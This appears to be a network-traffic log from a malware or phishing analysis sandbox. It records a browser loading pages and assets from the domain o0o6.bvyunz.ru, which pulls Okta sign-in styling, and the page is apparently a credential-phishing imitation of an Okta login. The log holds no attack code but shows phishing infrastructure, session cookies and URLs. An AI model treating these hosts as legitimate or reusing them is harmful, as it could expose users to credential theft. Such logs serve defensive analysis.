Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveOrigin: https://o0o6.bvyunz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveOrigin: https://o0o6.bvyunz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250318T171721Z&X-Amz-Expires=300&X-Amz-Signature=56053f3945daa8cccfa45498de0fad6075ad8023594b1e11d4df917af1bc2e70&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /34m8CUkLZcRXlAHijjrSpaKSii6w1rVZ589107 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /45MWSB4Og2SZrpGx0snnxew5DI9gs114ucC1ujo78xObpPsvl5n2ZJsqAOWPU6e35LuOgqr271 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klMUQbNAaXATujlKA9QGzbHH7P1A1BqIlSwxrZY6e17Bv5IU6wm3KPzbxKSR70QGsKTmcm4vcd300 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvDozZ86DfeH93KodasaV6JoKAz0XdnstnPjlpZlIO7O234128 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op1pgxKfNQRjEjCDOf8zKIvExpmnFDCtd7dxjyX45140 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efETyrYUbOhTDYPjvxyVmzvMM95tM9yMijaogyaJOFRH7Hcd78150 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijKdfybVoGPHkc90RlwCUXcdKmxWXjFfzHjdr0C5S78170 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUMAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kc4aTzflY0WS9C9KyHmqQuGZwKOOmnAn9g9cnaj94Rih3dicllky9ZHo9y HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /45MWSB4Og2SZrpGx0snnxew5DI9gs114ucC1ujo78xObpPsvl5n2ZJsqAOWPU6e35LuOgqr271 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN2RWpObTQwNmZ5YVRvTmpZU3ZQamc9PSIsInZhbHVlIjoiOU1nTG1aRlN0aHVHTVNyTGNuV2JQUGJIMnU0d3o1WGxSanFrL01tY1dDTS9LeUtIN2theFFYQkZLblkvMEZRWG41S09xZzRjUExSOTVuY2VHbFJsV1p4cHI0d0tVb3U1WFQ4MDRFK0ZpRDZTU0UxN2tPOTBadWkxeE8wY1V1dk4iLCJtYWMiOiIwYjY1N2NkMTIyMmZmMGYyZjA0YjgxZDAxY2FlOTNjOGRlNDUyMzU5MTBlOGZkNzNjMDkyYzFkNWYyYWUxNzBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtxS3dvNW5iSU9iOWlJUEV2bWcweWc9PSIsInZhbHVlIjoicEZzTGxscDBjMW1SOEszN0lFcGJoUVV0UHJIQUJkSE0wM0k1RHI2aFJLYk41aVcvOGR1Z1ZSdVVGYzN3UE9mZ3pUNHRCT29KTVFTTWlQU1pBNHJTZk90OGNITzZTK1E5akc4bGkrcUluS1RmYjlDVzl4cVBYSHpEWVJQN0ZXZ0kiLCJtYWMiOiJjMjI1OGY2MGUzOTFkNDMzN2VlYzIxZDY5ZjQ1MjViNmVkNjk4MTcxYmYwYzM0ZTk2NjUzNzExZDQ4NGVkODc3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klMUQbNAaXATujlKA9QGzbHH7P1A1BqIlSwxrZY6e17Bv5IU6wm3KPzbxKSR70QGsKTmcm4vcd300 HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 